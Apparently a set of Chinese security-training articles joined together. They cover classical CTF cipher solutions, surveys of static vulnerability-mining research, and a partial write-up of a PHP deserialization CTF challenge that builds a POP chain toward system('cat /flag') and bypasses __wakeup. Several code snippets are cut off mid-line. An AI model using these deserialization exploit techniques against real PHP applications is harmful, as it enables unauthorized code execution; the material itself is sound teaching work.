密钥:LEMONLEMONLE
密文:LXFOPVEFRNHR
维吉尼亚密码在线加解密:
https://www.qqxiuzi.cn/bianma/weijiniyamima.php维吉尼亚密码真题-one:
BUUCTF-Crypto-[BJDCTF 2nd]燕言燕语-y1ng
小燕子,穿花衣,年年春天来这里,我问燕子你为啥来,燕子说:
79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
16进制转字符串
维吉尼亚在线直接解
棋盘密码(Polybius):
波利比奥斯棋盘(Polybius Checkerboard)是棋盘密码的一种,是利用波利比奥斯方阵(Polybius Square)进行加密的密码方式,产生于公元前两世纪的希腊,相传是世界上最早的一种密码。简单的来说就是把字母排列好,用坐标的形式表现出来。字母是密文,明文便是字母的坐标。
借鉴知乎上的图
先看纵向,在看横向。得到密文
明文HELLO 密文:23 15 31 31 34
普莱费尔密码(playfair):
选取一个英文字作密钥。除去重复出现的字母。将密钥的字母逐个逐个加入5×5的矩阵内,剩下的空间将未加入的英文字母依a-z的顺序加入。(将Q去除,或将I和J视作同一字。)
将要加密的讯息分成两个一组。若组内的字母相同,将X(或Q)插入两字母之间,重新分组(例如 HELLO 将分成 HE LX LO)。若剩下一个字,也加入X字。
在每组中,找出两个字母在矩阵中的地方。
若两个字母不在同一直行或同一横列,在矩阵中找出另外两个字母,使这四个字母成为一个长方形的四个角。
若两个字母在同一横列,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
若两个字母在同一直行,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。
取playfair example为密钥。即可得到表
P L A Y F
I R E X M
B C D G H
K N O Q S
T U V W Z
需要加密的为Hide the gold
HI DE TH EG OL
加密后为
BM OD ZB XD
在线普莱费尔加解密:
http://www.atoolbox.net/Tool.php?Id=912http://rumkin.com/tools/cipher/playfair.php普莱费尔真题-one:
Buuctf-crypto-cipher
还能提示什么呢?公平的玩吧(密钥自己找) Dncnoqqfliqrpgeklwmppu 注意:得到的 flag 请包上 flag{} 提交, flag{小写字母}
http://rumkin.com/tools/cipher/playfair.phpNihilist密码:
Nihilist跟polybius密码差不多
相同的先看纵向,在看横向。
例如a=[2,3]=23
Keyboard密码:
Keyboard密码在ctf中应该是分多种类型的。这里提两种。即9键表和26键包含
9键表就是通过九键上多次字母来进行字母提取
26键包含通过明文多个字符对应一个密文
9键表真题:
直接放两道题来理解
Buuctf- Crypto-[NCTF2019]Keyboard
分析第一个字符串,ooo,o在键盘上对应的是9,有3个o,表示第9个格子的第三个字母,就是y。那yyy就是指字母o
cipher="ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee" base=" qwertyuiop" a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"] #print(base.index("q")) for part in cipher.split(" "): s=base.index(part[0]) cou
第一步:
构造3个需要的值,变量和列表
cipher就是题目附件的字符串
base就是键盘上一行对应的数字,第一个为空。因为索引的时候,第一个为0。使得q正好为1
a列表第一个的空格字符串同理。也是0。如下走下来空格对应九格键盘上的1,abc就对应九格键盘上的数字2,def对应3。
第二步:
index就是索引的值,就是取键盘上的数字
a[][]。列表的两次,就直接取对应的字母了。end是为了不换行。
count的减1,还是因为第一个是0
Buuctf- Crypo-[MRCTF2020]keyboard
得到的flag用
MRCTF{xxxxxx}形式上叫
都为小写字母
6
666
22
444
555
33
7
44
666
66
3
str="6 666 22 444 555 33 7 44 666 66 3"
a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"]
for i in str.split(" "):
s=int(i[0])
count=len(i)
print(a[s][count-1],end="")
这边解出来最后一个字母是d。但提交不上。搜一下这个单词就知道最后一个应该打错了。是e
26键包含真题:
密码学-keyword
根据题目hint:应该。是键盘包围,或者画图
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
空格划组 逗号也算一个里面
直接画出来
NBNCBNNBNBC
栅栏密码:
栅栏密码是典型的置换密码。把明文分成n个1组。在进行连接。根据如何连接,又分为普通栅栏密码(|||栅栏密码)和W型栅栏密码。
普通栅栏密码(|||栅栏密码)
值和n:
fslda1g2{3a}
n=2
按2个分组
fs ld a1 g2 {3 a}
取第一个
flag{a
在取全部
flag{asd123}
普通栅栏密码(|||栅栏密码)真题-one:
Buuctf-Crypto-篱笆墙的影子
直接两栏获得flag
w型栅栏密码
写成W型的栅栏密码。但读取还是按行从左往右读取。
值和n:
flag{asd123}
n=2
照样是2个分组
f.a.{.s.1.3
.l.g.a.d.2.}
直接从左往右读取
fa{s13lgad2}
W型栅栏密码真题-one:
攻防世界Crypto新手-Railfence
根据题目名和题目描述可知是栅栏密码。
但不是普通的|||型栅栏密码
是变种的W型栅栏密码
在线解密:
http://www.atoolbox.net/Tool.php?Id=777手解:
把值按照W型进行横排排列,把明文的第一个填充到密文的第一行第1个位置,把明文的第二个填充到密文的第一行第9个位置。在把明文的第三个填充到密文的第17个位置。在把明文的第四个填充到密文的第25个位置。在把明文的第五个填充到密文的第33个位置。
当len=35,key=5时(这个就自己画一画吧)然后你就会发现:首行和尾行的间隔依旧不变,假设行数为i,当当前数为第2行的奇数的时候,下一个数字为2+6=8也就是(key-i)*2,若当前数为第二行偶数的时候,下一个数字为8+2=10也就是(i-1)*2。
普通栅栏密码加解密:
https://www.qqxiuzi.cn/bianma/zhalanmima.phpW型栅栏密码在线加解密:
http://www.atoolbox.net/Tool.php?Id=777云影密码:
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。
也给出一个python脚本地址:
https://www.jianshu.com/p/b5aa5cf60f83 #!/usr/bin/python # -*- coding=utf8 -*- """ # @Author : pig # @CreatedTime:2019-11-2423:54:02 # @Description : """ def de_code(c): dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)] flag = [] c2 = [i for i in c.split("0")] for i in c2:
简单位移密码:
这个密码是我在《ctf特训营》这本书上看到的。自己并没有在题目中做到过
实例借鉴书中
m=flag{easy_easy_crypto}
k=”3124”
len(k)=4,切分m。
flay {eas y_ea sy_c rypt o}
按照3124直接排列
Lafg ea{s _eya y_sc yprt }o
密文:
Lafgea{s_eyay_scyprt}o
解密代码:
def shift_decrypt(c,k): l=len(k) m="" for i in range(0,len(c),l): tmp_m=[""]*l if i+l>=len(c): tmp_c=c[i:] use=[] for kindex in range(len(tmp_c)): use.append(int(k[kindex])-l) use.sort() for kinde
曲路密码:
按照事先约定的原则把明文填入表中
例如:明文为HelloWorldab
按照一定的顺序进行遍历
密文就是lrbaoleWdloH
CTF crypto线下工具推荐:
CTFCrackTools
https://github.com/Acmesec/CTFCrackToolsCyberChef
https://www.chinabaiker.com/cyberchef.htm直接可以下载到本地
参考:
https://ctf-wiki.github.io/ctf-wiki/cryptohttps://zh.wikipedia.org/wikihttps://baike.baidu.com《ctf特训营》
https://buuoj.cn/相关实验:https://sourl.cn/GTxP4Q
(密码学是研究如何隐密地传递信息的学科。通过本课程实验掌握密码学的相关知识。)
漏洞挖掘的艺术-面向源码的静态漏洞挖掘
亲爱的,关注我吧
文章共计4127个词
今天的内容有一些图,流量用户注意哦
和我一起阅读吧
0
软件漏洞的挖掘一直是热门的方向,安全从业者们从一开始的手工挖洞,到后来编写自己的工具实现自动化的漏洞挖掘,再到随着近年来AI的蓬勃发展,开始使用深度学习等技术辅助漏洞挖掘,乃至更进一步使用相关技术实现自动化攻防,如DARPA的CGC大赛等。技术日新月异,让人眼花缭乱,本系列文章希望通过介绍典型的代表性工作(侧重于安全学术界的Big4,即四大顶会上发表的成果),来帮助各位师傅们厘清脉络和相关技术,为之后的学术发展或职业发展给出指引,能找到可以深入挖掘发展的方向。
1
按照传统的分类方法,可以分为静态和动态漏洞挖掘技术。
静态漏洞挖掘技术指在不运行目标程序的前提下对目标程序进行分析,这里又可以分为针对源码以及针对二进制程序进行分析其词法、语法、语义等,并通过相关工具获得其AST, CFG, DDG, PDG, CPG等进行辅助分析,来挖掘漏洞。
1.1
AST即抽象语法树(Abstract Syntax Tree,AST),或简称语法树(Syntax tree),是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。
当初学习C语言写过的辗转相除法的代码为:
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
对应的抽象语法树为:
1.2
CFG即控制流图(Control flow graph),是一个过程或程序的抽象表现,是用在编译器中的一个抽象数据结构,由编译器在内部维护,代表了一个程序执行过程中会遍历到的所有路径。它用图的形式表示一个过程内所有基本块执行的可能流向, 也能反映一个过程的实时执行过程。下图是一个包含了if和while语句的CFG
提到CFG,很多人都会想到CFI(Control Flow Integrity)控制流完整性技术,这是为了抵御控制流劫持攻击而提出的。我们知道早期的攻击会采用代码注入的方式,通过部署一段shellcode,然后将控制转向这段代码执行,为了组织这类攻击,开发了DEP(Data Execution Prevention)机制来限制内存页不能同时具备写和执行权限。攻击者为了突破DEP,来发明了基于代码重用攻击的技术,利用被攻击程序中的代码片段进行拼接形成攻击逻辑,此类技术包括Ret2libc,ROP,JOP等等,并且被证明为图灵完备的。在可计算性理论里,如果一系列操作数据的规则(如指令集、编程语言、
1.3
DDG即数据依赖图(Data flow dependency graph)以最简单的形式表示各个指令之间的数据依赖关系。这样的图中的每个节点代表一条指令,并称为“原子”节点。也可以将它们之间具有简单的def-use依赖关系的某些原子节点组合为包含多指令的较大节点。
以这段为例:
for (int i = 1; i < n; i++) {
b[i] = c[i] + b[i-1];
}
代码中是一个循环体,通过多个def-use依赖关系和内存访问依赖关系构建出的DDG如下
1.4
PDG,即程序依赖图(Program Dependence Graph),是程序的一种图形表示,它是带有标记的有向多重图。系统程序依赖图是软件程序间控制依赖关系和数据依赖关系的图形表示。
1.5
CPG代码属性图(Code Property Graph)是由ShiftLeft先提出来的,如下所示
CPG为每个应用唯一的代码版本提供可扩展的和多层的逻辑表示,包括控制流图、调用图、程序依赖图、目录结构等。CPG创建了代码的多层三维表示,具有很强的洞察力,这使得开发人员可充分了解应用程序每个版本执行的内容及可能带来的风险。
2
先来看看静态分析方面针对源码的研究。针对源码的漏洞挖掘主要分为两类,分别基于中间表示和基于逻辑推理。
2.1
基于中间表示的分析技术主要包括数据流分析、控制流分析、污点分析、符号执行等。事实上,这些技术手段往往会同时应用在研究工作中。
2.1.1
数据流分析是一项编译时使用的技术,它能从中收集程序的语义信息,并通过代数的方法在编译时确定变量的定义和使用。通过数据流分析,可以不必实际运行程序就能够发现程序运行时的行为。简单地说,数据流分析就是对程序中数据的使用、定义及其之间的依赖关系等各方面的信息进行收集的过程,以点(5)进行数据流分析如下
2.1.2
控制流分析的目标是得到程序的一个控制流图(control flow graph)。控制流图是对程序执行时可能经过的所有路径的图形化表示。通过根据不同语句之间的关系,特别是考虑由“条件转移”、“循环”等引入的分支关系,对过程内的一些语句进行合并,可以得到程序结构。控制流图是一个有向图:图中的结点对应于程序中经过合并的基本语句块,图中的边对应于可能的分支方向,例如条件转移、循环等等,这些都是分析程序行为的重要信息。
2.1.3
污点分析是一种跟踪并分析污点信息在程序中流动的技术,其分析对象是污点信息流。污点指的是受到污染的信息。在程序分析中,将来自程序之外并且进入程序的信息当做污点信息,。根据分析的需要,程序内部使用的数据也可作为污点信息,并分析其对应的信息的流向。根据污点分析时是否运行程序,可以将其分为静态污点分析和动态污点分析。
污点分析的过程包括:识别污点信息在程序中的产生点并对污点信息进行标记;利用特定的规则跟踪分析污点信息在程序中的传播过程;在一些关键的程序点检查关键的操作是否会受到污点信息的影响。污点信息的产生点称为source点,污点信息的检查点称为sink点。
以下图为例来说明污点分析过程
将scanf所在的程序点作为source点,将通过scanf接收的用户输入数据标记为污点信息,并且认为存放它的变量x是被污染的。如果在污点传播规则中规定“如果二元操作的操作数是污染的,那么二元操作的结果也是污染的”,则对于y=x+k,由于x是污染的,因此y也被认为是污染的。一个被污染的变量如果被赋值为一个常数,它将被认为是未污染的。对于x=0,将x从污染状态转变为未污染。对于while(i<y),这句所在的程序点在这里被认为是一个sink点,如果污点分析规则规定“循环的次数不能受程序输入的控制”,那么在这里就需要检查变量y是否是被污染的。
2.1.4
符号执行是一种用符号值代替数字值执行程序的技术,符号是表示一个取值集合的记号。使用符号执行分析程序时,对于某个表示程序输入的变量,通常使用一个符号表示它的取值,这个符号可以表示程序在此处接收的所有可能的输入。此外,在符号执行的分析过程中那些不易或者无法确定取值的变量也常常使用符号表示的方式进行分析。
符号执行的分析过程大致如下:首先将程序中的一些需要关注但是又不能直接确定其取值的变量用符号表示其取值,然后通过逐步分析程序可能的执行流程,将程序中变量的取值表示为符号和常量的计算表达式。程序的正常执行和符号执行的主要去呗是:正常执行时程序中的变量可以看做被赋予了具体的值,而符号执行时,变量的值既可以是具体的值也可以是符号和常量的运算表达式。
以下图的符号执行源代码为例,函数中的参数x,y分别用符号a,b表示
基于上图的代码可以得到下图所示的程序流程图
可以看到共有三条执行路径,每条路径都对应着一个路径约束(path constrain,PC)。其中返回true的路径有一条,带入符号后,对应的路径约束为a>60&(b*2)==128;返回false的路径有两条,对应的路径约束为a<=60|(a>60&(b*2)!=128)
这个例子表明,使用符号执行技术分析程序,对于分析过程中遇到的程序中带有条件的控制转移语句(条件分支语句、循环语句等),可以利用变量的符号表达式将控制转移语句中的条件转化为对符号取值的约束,通过分析约束是否可以满足,判断程序的哪条路径是可行的。这一部分是符号执行分析的关键部分。由此将判断路径条件是否可满足的问题转化为判断符号取值的约束是否可满足的问题。而对于约束是否可满足的判断,通常使用约束求解的方法,该过程由约束求解器完成(约束求解器是对特定形式的约束表示进行求解的工具)。在符号执行的分析过程中,常使用可满足性模理论(satisfiabilti modulo therries,SMT)求解器对
2.2
基于逻辑推理的漏洞检测方法将源代码进行形式化描述,然后利用数学推理、证明等方法
验证形式化描述的一些性质,从而判断程序是否含有某种类型的漏洞。基于逻辑推理的漏洞检测方法由于以数学推理为基础,因此分析严格,结果可靠。但对于较大规模的程序,将代码进行形式化表示本身是一件非常困难的事情。所以实际上研究价值相对来说并不大。
3 相关工作
这里分别介绍针对源码的静态漏洞挖掘技术部分代表性工作。
3.1基于中间表示
发表在2018 NDSS(信息安全四大顶会之一)的K-Miner利用内核代码中高度标准化的接口实现了可扩展性良好的指针分析以及全局的上下文敏感的分析技术,支持对空指针引用、指针释放后重引用(use-after-free, UAF)、指针重释放(double free)、双重检查锁定(double-checked lock)等内存崩溃漏洞的检测。论文及论文作者在会议上的视频见文后给出的参考链接
其实现如图
具体来说,它包括四个分析阶段:在步骤1中,LLVM-IR作为vmlinux bitcode映像传递到K-Miner,以开始进行预分析,这将初始化并填充全局内核上下文。在步骤2中,此上下文信息用于分析单个系统调用,这可以连续多次运行,比如可以分析dangling pointer,use-after-free和double free。在步骤3中,通过各种验证技术对错误报告进行了清理,以降低误报率。在第4步中,使用我们的漏洞报告引擎呈现已排序的报告。
在实验中,K-Miner发现了29处可能的漏洞,总共生成了539个alert,如下所示
3.2基于逻辑推理
近年来个人没有看到有相关的工作,不过为了文章的完整性,这里介绍CCS 2002(CCS同样是四大顶会之一)的工作-MOPS。
论文中作者首先确定安全编程实践的规则,将其编码为安全属性,并验证是否遵守这些属性。由于手动验证过于繁琐,因此建立了程序分析工具来自动完成此过程。程序将要验证的程序分析建模为下推式自动机,将安全属性表示为有限状态自动机,并使用模型检查技术来确定在程序中是否可以达到违反预期安全目标的任何状态。
全文逻辑缜密,单单几张图说不清楚,建议有兴趣的师傅们自己去看看这篇论文,下面给出一个简单的例子,以进程权限系统调用为例。
进程权限模型如下
存在风险的系统调用模型如下
描述该属性的复合模型,即在特权状态下,进程不应进行有风险的系统调用。
当然,上面是非常简化的版本,建模越精细,效果自然越好。将linux 2.4.17中的进程权限模型建模如下(包括所有的rued,euid,suid等)
建模之后,文中以一个实例进行了说明
在wu-ftpdversion 2.4中找到了一个已知的安全漏洞。漏洞除了分别在信号SIGPIPE和SIGURG的处理程序中调用seteuid(0)和longjmp(env),基本类似于下图代码中的漏洞
通过在信号SIGPIPE之后立即将信号SIGURG发送到awu-ftpd进程,攻击者可以使该进程调用信号SIGPIPE的处理程序中的seteuid(0)获得特权,然后调用信号SIGURG的处理程序中的longjmp(env)返回到函数main中的setjmp(env)的调用处。 此后,wu-ftpd将使用root特权执行,从而导致攻击者具有root特权。
MOPS能够在wu-ftpd2.4 beta 11中成功检测到该漏洞。
4 参考
1.https://juejin.im/post/5cc51b096fb9a03218555972
2.http://www.jos.org.cn/html/2017/10/5317.htm
3.https://llvm.org/docs/DependenceGraphs/index.html
4.https://zhuanlan.zhihu.com/p/94611033
5.https://cs.nju.edu.cn/chenlin/pages/sat/dataflow.pdf
6.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=10342
7.http://staff.ustc.edu.cn/~yuzhang/compiler/2017f/lectures/optimize-6in1.pdf
8.https://www.52pojie.cn/thread-861992-1-1.html
9.https://www.youtube.com/watch?v=1uLKA7Ux8hg
10.https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-1_Gens_paper.pdf
10.https://www.danielesgandurra.com/research/blast2008-slides.pdf
11.https://people.eecs.berkeley.edu/~daw/mops/
12.http://people.eecs.berkeley.edu/~daw/papers/mops-ccs02.pdf
5 实验推荐--https://sourl.cn/ce6JX2
https://www.yijinglab.com/expc.do?ec=ECID3a0b-2354-465e-8484-da3525ade185Docker是近两年来十分流行的开源容器引擎,Vulhub是一个面向大众的开源漏洞靶场。通过本实验了解Docker的使用,掌握使用Vulhub靶场环境进行漏洞复现。
漏洞挖掘的艺术-面向二进制的静态漏洞挖掘
亲爱的,关注我吧
8/31
文章共计3165个词
今天的内容有一些图,流量用户注意哦
和我一起阅读吧
0
本文是本系列的第二篇,将对面向二进制程序的静态漏洞挖掘技术进行介绍与分析。
面向二进制程序的静态漏洞的挖掘技术由于缺少源代码中的结构化信息,面临着值集分析(vaule-set analysis,VSA)与控制流恢复不精确的问题,但是二进制程序相对于源码而言更容易获得,所以这方面的研究工作一直都有新的研究动态,并且会在第2部分介绍目前流程的两种技术。在进一步分析之前,我们首先来具体解释前文提出的两个问题。
1
1.1
值集分析是一种结合数值分析和指针分析的静态分析算法。VSA是一种基于抽象解释的、流敏感、上下文敏感、支持过程间分析的方法。VSA首先建立抽象内存模型,恢复可执行程序中的变量并用抽象地址表示,然后对每条指令静态计算抽象地址可能包含的值的集合。
典型的值集分析算法的伪码表示如下
上图的集合W被称为word-list,其操作包括add,removeNext,分别用于添加和移除项。Word-list按照拓扑顺序进行排序,初始化时包含着基本块的入口点,用于指示从此处开始正向分析。while循环的每次迭代里,Analysis函数都会在第6行被调用来分析选中的基本块。Analysis会基于输入状态产生大量的输出状态,那些变化的输出状态会被添加到word-list中。当在同一基本块上有两个输入状态时,VSA将在第11行将两个输入状态合并为新的输入状态。合并操作将合并抽象状态中每个变量的值集。变量的合并运算方程式如下所示
当程序读写内存时,根据目的地址的值集和将要读写的内存地址的长度,我们可以检测出它是否超过了对应变量的空间大小。如果超过,则可以作为一个潜在的漏洞上报。然而,由于VSA获得的值集是近似的,并不精确,所以可能会导致较高的误报率。
这里有篇19年的硕士论文《二进制程序Use-After-Free漏洞挖掘技术研究》,里面介绍了基于值集分析来挖掘UAF,感兴趣的可以看看。
另外,这篇论文《DEEPVSA: Facilitating Value-set Analysis with Deep Learning for Postmortem Program Analysis》发表于USENIX Security 2019(信息安全领域四大顶会之一),介绍通过深度学习来辅助值集分析的研究。
1.2
控制流恢复不精确指的是静态分析不需要执行程序,只通过对二进制文件的结构和指令操作码进行分析,静态分析重视全局程序分析,因而有很高的代码覆盖率,但由于无法解决间接跳转的问题,导致无法获取完整的控制流信息。
我们来看看控制流图的静态恢复。
1.2.1
对二进制代码进行控制流分析,首先要完成对二进制代码的静态反汇编。根据区分代码和数据方式的不同,可以将静态反汇编策略分为:线性扫描反汇编、递归反汇编和启发式反汇编三种。目前应用最广的静态反汇编策略是基于程序静态控制流程的递归策略,IDA使用的就是递归下降的算法。由于这不是本文重点,就不展开了。
1.2.2
接下来就是基本块的划分
基本块是程序中一组顺序执行的语句序列,其中只有一个入口语句和一个出口语句。基本块是具有原子性的一组连续语句序列,控制从第一条语句流入,从最后一条语句流出,中途没有停止或分支,意味着当程序跳转至某基本块时,该基本块中的所有指令都将被执行到[9]。因此,覆盖执行了该基本块就等同于覆盖了基本块所有指令。以基本块为单位对反汇编效果
进行分析,相比于指令级粒度的分析更加高效。
基本块入口定义:
a)代码片段标签(_start 和_main 等是出现在代码段前的标
志)的下一条指令;
b)CALL 指令在指令顺序流的下一条指令;
c)跳转语句在指令顺序流的下一条指令。
基本块出口定义:
a)代码片段的最后一条指令;
b)CALL 指令;
c)跳转指令;
d)返回指令。
一般采用线性扫描指令的方法实现基本块的划分,如下所示
完成基本块划分之后,需要构建基本块之间的控制流关系
1.2.3
最后一步就是CFG控制流分析
如果在一个有序代码中,基本块 B2 跟在 B1 后,那么产生一个由 B2 指向 B1 的有向边。在对目标二进制程序完成基本块划分后,需要对基本块间的控制流转向进行分析,完成控制流的绘制,伪码如下
input:基本块列表 block
output:CFG
for i=1 to n do
x=block[i]_lastinstr
if x is a CTI then
建立一条由 block[i]到 x 跳转的 target 所在的 block[j]的有向边
else if x not a CTI then
建立由 block[i]到 block[i+1]的边
end for
return CFG
2
当前,二进制静态漏洞挖掘技术主要包括基于模式匹配和基于补丁比对的技术。
2.1什么是模式匹配?
在计算机科学中,模式匹配是检查给定的标记序列是否存在某些模式的组成部分的行为。与模式识别相反,匹配通常必须精确:“匹配或不匹配。”图案通常具有序列或树形结构的形式。模式匹配的用途包括输出令牌序列中模式的位置,输出匹配模式的某些组成部分以及将匹配模式替换为其他某些令牌序列。
针对二进制程序分析时,一般不会单独应用模式匹配技术,比如会和VSA相结合。以GUEB为例,其提出了二进制程序中UAF漏洞模式,并基于此模式挖掘出了ProFTPD程序中的漏洞。具体而言,首先抽象出二进制函数中的内存模型,然后采用VSA分析技术追踪堆分配和释放指令相关的操作变量,并基于此建立UAF模式。
全文是以一个例子进行驱动的,源码如下
这里注意,这里虽然给出了代码,但是文中的工作都是从二进制层面展开的,给出源码是为了方便说明。
首先抽象出内存模型
我们假设堆栈中的地址表示为相对于基址寄存器EBP的偏移量。由于过程间分析是通过过程内联实现的,因此每个堆栈元素都由(EBP0,偏移量)表示,其中EBP0是EBP的初始值。例如,p_index由(EBP0,−24)表示,p_global_save由(EBP0,−36)表示。全局变量具有由标识符表示的常量地址,此处为变量名(例如pglobal)。对于堆,我们将HE定义为所有可能的堆元素的集合。HE的元素是(基址,大小),其中base是分配识别符,size是分配大小。这样的一对也称为一个chunk.PC是所有程序指针的集合。我们定义了HA和HF,这两个函数分别关联每个点上所有当前分配或者未分配的集合
接着进行VSA,结果如下
GUEB的最后一步,即从二进制层面提取出UAF漏洞模式的子图,如下所示
此子图对于研究UAF是否可利用以及如何利用非常有用:例如,在我们的示例中,在第33行释放和取消引用时是否发生了新的malloc。
2.2
补丁指的是软件开发商为了修补软件系统的各种漏洞或缺陷所提供的修补程序。对于开源软件,补丁本身就是程序源代码,打补丁的过程就是用补丁中的源代码替换原有的代码。而对于闭源软件,厂商只提供修改后的二进制代码,例如微软的Windows系统补丁。这时就需要使用二进制代码比对技术,定位补丁所修补的软件漏洞。
基于补丁对比的漏洞挖掘, 是指通过比较分析原始程序与漏洞修复后的更新程序的差异, 依据已知漏洞对应的软件缺陷位置寻找新漏洞的一种漏洞挖掘方法.补丁发布与部署之间存在较长的时间窗口, 因此, 通过补丁漏洞挖掘迅速提取漏洞特征, 对于软件运行安全检测和防护具有重要意义.目前, 软件自身的复杂性导致简单地进行指令对比难以快速逆向恢复漏洞细节并理解漏洞机理.与漏洞不相关的补丁修改造成相当程度的干扰, 补丁漏洞挖掘仍然需要软件基础理论的支撑.为此, 研究人员提出了多种基于图比较算法发现程序差异的基础分析工具, 如IDACompare、EBDS、BinDiff等.补丁漏洞挖掘的代表性工作是Brumley团
APEG核心思路是基于以下的假设条件,即补丁程序中增加了对触发原程序崩溃的过滤条件。因此,只要能够找到补丁程序中添加过滤条件的位置,同时构造 不满足过滤条件的“违规”输入,即可认为是原始程序的一个可利用的输入候选项。
该工作主要分为三个步骤:首先,利用二进制差异比较工具(例如 BinDiff 与 EBDS 等)找到补丁存在的位置,即补丁程序的检测点;
其次,找出不满足补丁程序检测点的输入数据作为原始程序的利用候选项;
最后,利用污点传播等监控方法筛选所有能够对原始程序造成溢出或者控制流劫持等崩溃发生的有效利用。
根据对微软所发布的多个补丁程序的实验结果表明,该方法具有较强的可靠性和实用性。
APEG 是对漏洞利用自动化构建的首次尝试,虽然核心思想较为简单,但由于其具有很强的可操作性,因此也得到了其他研究人员的普遍认可。
3 参考
1.http://blog.amossys.fr/intro-to-use-after-free-detection.html
2.https://www.bookstack.cn/read/CTF-All-In-One/160851
3.https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8805076
4.http://www.jsjkx.com/CN/article/openArticlePDF.jsp?id=7401
5.http://jifeng-xuan.com/page/paper/jos_19.pdf
6.《软件漏洞自动利用研究进展》
7.https://www.slideserve.com/oriel/automatic-patch-based-exploit-generation-is-possible-techniques-and-implications-powerpoint-ppt-presentation
8.http://www.jos.org.cn/html/2018/1/5320.htm
9.《从自动化到智能化:软件漏洞挖掘技术进展》
4 实验推荐--https://sourl.cn/ggGUiS
栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。
5 相关阅读--https://www.yijinglab.com/html/news/news.html?newsId=NEWS-6f7-4181-4c0e-a18d-9b186f2524b6
细说强网杯Web辅助
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
文章共计1908个词
包括三段长代码
今天的内容无图,流量不预警
和我一起阅读吧
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
1 写在前面
这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程
2 题目源码
index.php
获取我们传入的username和password,并将其序列化储存
... if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s
common.php
这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方
<?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){
play.php
在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作
... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); ...
class.php
这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag
<?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ $this->admin = 1;
3 涉及考点
● POP链的构造
● __wakeup的绕过
● 关键字“name”检测绕过
● 反序列化字符串逃逸
4 题目出现的魔术方法
● __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
● __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
● wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
● invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
● __toString():用于一个类被当成字符串时应怎样回应
5 POP链
POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来
6 POP链的构造
这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。
我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:
<?php class test{ function __toString(){ echo "__toString()"; return ""; } } $a = new test(); echo $a; //输出:__toString()
在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:
<?php class test{ function __toString(){ echo "__toString()"; return ""; } } $a = new test(); stristr($a,'name'); //输出__toString()
所以整个POP链已经构成了
topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')
即
<?php class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } } class jungle{ protected $name = ""; } $a = new topsolo
在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2
